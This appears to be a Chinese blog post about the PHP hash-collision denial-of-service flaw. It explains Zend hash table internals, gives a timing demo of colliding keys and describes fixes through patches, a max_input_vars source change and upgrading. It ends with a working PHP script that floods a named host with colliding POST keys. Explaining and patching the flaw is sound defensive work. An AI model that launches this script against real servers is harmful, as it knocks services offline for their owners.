工作原理:
 
PHP的数据类型是人们所喜爱的,因为它用起来方便。然而为了实现这种方便,必然要用到哈希表。
我们先来看一下PHP是怎样储存变量的:
typedef        union        _zvalue_value        {
   long        lval;           /*        long        value        */
             double        dval;                         /*        double        value        */
   struct        {
     char        *val;
     int        len;
  }        str;
  HashTable        *ht;         /*        hash        table        value        */
  zend_object_value        obj;
}        zvalue_value;

以上代码在PHP 5.3.6中位于Zend/zend.h的305行。
在这个联合体中,有long保存整型、double保存浮点型、和struct来保存字符串型的字符串与字符串长度。
在其后的
struct _zval_struct {
        zvalue_value value;
        zend_uint refcount__gc;
        zend_uchar type;
        zend_uchar is_ref__gc;
};

 
中,type表示这个变量在PHP中的类型(详见附录1)。然而其中的HashTable *ht就是键名所保存的地方。我们知道链表的操作时间复杂度为O(n),而相比之下,设计得好的哈希表通常情况下只有O(1)。
PHP使用的算法是DJBX33A(http://blog.csdn.net/zuiaituantuan/article/details/6057586),然而如果键名为×××,那么情况就不一样了。PHP为整型键名做的是 hash & tableMask(&为按位与操作)的操作。
h = zend_inline_hash_func(arKey, nKeyLength);
nIndex = h & ht->nTableMask;
p = ht->arBuckets[nIndex];

 
如果得到的p!==NULL,那么恭喜你,发生碰撞了。这个时候,PHP就会将新元素链接到原有元素链表头部。而查询的时候也是按照相同的策略,将链表中的所有的键名和要查找的键名进行一一比对,但是一般在正常使用的情况下,不会有多大问题。
那么知道了这种特性以后,要发起***,就变得简单了,只要对PHP页面发送POST请求(不论script中是否对POST进行处理),别有用心的构造key,那么PHP在引擎层面处理POST数据的时候,已经足以崩溃。
例如:64,128,192,256这样的int型key的hash值是0,那么就会发生碰撞,当key为64进行存储的时候,链表操作是0次,128为1次,192为2次,以此类推则有:time(n) = n-1;那么n个这样的key的链表操作数据就是0+1+2+3+...+(n-1) = (n-1)*(n-2)/2。
 
我们看一段代码:
';

$size = pow(2, 15); // 16 is just an example, could also be 15 or 17

$startTime = microtime( true);

$array = array();
for ($key = 0, $maxKey = ($size - 1) * $size; $key <= $maxKey; $key += $size) {
        $array[$key] = 0;
}

$endTime = microtime( true);

echo 'Inserting ', $size, ' evil elements took ', $endTime - $startTime, ' seconds', "\n";

$startTime = microtime( true);

$array = array();
for ($key = 0, $maxKey = $size - 1; $key <= $maxKey; ++$key) {
        $array[$key] = 0;
}

$endTime = microtime( true);

echo 'Inserting ', $size, ' good elements took ', $endTime - $startTime, ' seconds', "\n";

 
以上这段代码来自参考资料第一条链接。
用第一种方法(恶意***)生成出来的数组大概要跑59.7秒,而下面的方法(正常情况)仅仅需要0.035秒。(Ubuntu 32位桌面环境 ,3.4G 内存,E8400 3.0G双核)
后来把上面的方法做成高斯炮,间隔着两炮打出去,服务器负载立马到0.9,CPU占用率高达29%。后来又做了一系列的尝试,发现高斯炮能瞬间占满CPU和内存。
 
解决方法:
 
1.如果是php-5.2.x的版本,通过打补丁可以修复此漏洞
 
patch地址:
https://github.com/laruence/laruence.github.com/tree/master/php-5.2-max-input-vars
 
2.如果是php-5.3.x的版本,修复漏洞有两种方法
第一种:修改php-5.3.x的源码
  
A.  修改/main/main.c文件,把STD_PHP_INI_ENTRY宏加到main.c的PHP_INI_BEGIN()和PHP_INI_END()宏之间来注册PHP INI指令:
STD_PHP_INI_ENTRY(" max_input_vars", "1000", PHP_INI_SYSTEM|PHP_INI_PERDIR, OnUpdateLongGEZero, max_input_vars, php_core_globals, core_globals)
 
B.修改文件/main/php_globals.h,_php_core_globals结构体内加上:
long max_input_vars;
 
C.修改文件/main/php_variables.c,在:
zend_symtable_update(symtable1, escaped_index, index_len + 1, &gpc_element, sizeof(zval *), (void **) &gpc_element_p);
之前加入:
if (zend_hash_num_elements(symtable1) >= PG(max_input_vars)) {
php_error_docref(NULL TSRMLS_CC, E_ERROR, "Input variables exceeded %ld. To increase the limit change max_input_vars in php.ini.", PG(max_input_vars));
}
 
源码修改完之后,进入原来的php源码目录:
make clean
make
make install
 
测试:
phpinfo:
出现max_input_vars=1000(默认值,可以在php.ini中配置此参数)
 
第二种方法:升级php主程序(建议使用)
官方在PHP-5.3.9RC2中修复了此漏洞
PHP 5.3.9RC2 :
http://downloads.php.net/johannes
 
PHP 5.4.0RC2:
http://windows.php.net/qa/
 
注释:
另外, 其他语言java, ruby等, 请各位也预先想好对策, 限制post_size是治标不治本的方法, 不过可以用来做临时解决方案.
 
 
DDOS***程序:

set_time_limit(0);

/**
* 设置变量
*/

$host = 'www.teamtop.com';   //域名
$uri = '/index.php';   //建立一个名为response.php的php文件,里面什么都不用写
$data = '';         //拼接***参数
$size = pow(2, 16);
for ($key = 0, $max = ($size - 1) * $size; $key <= $max; $key += $size) {
        $data .= '&array[' . $key . ']=0';
}
/**
* 发送***请求
*/

$str = "POST {$uri} HTTP/1.1\r\n";
$str .= "Host: {$host}\r\n";
$str .= "Content-type: application/x-www-form-urlencoded\r\n";
$str .= "Content-length: " . strlen($data) . "\r\n";
$str .= "Connection: close\r\n";
$str .= "\r\n";
$str .= "{$data}\r\n";

$fp = @fsockopen($host, 80, $errno, $errstr, 30);
if (!$fp)
  die('err');
fputs($fp, $str);
$s = '';
while (!feof($fp))
  $s .= fgets($fp, 1024);
fclose($fp);

echo 'ok';
 
在***程序同层目录创建空文件response.php
注意观察:获取ok的时间,及服务器的CPU占用率
 
刚刚修复了服务器的这个漏洞,整合了网上的一些资料,跟大家做个分享!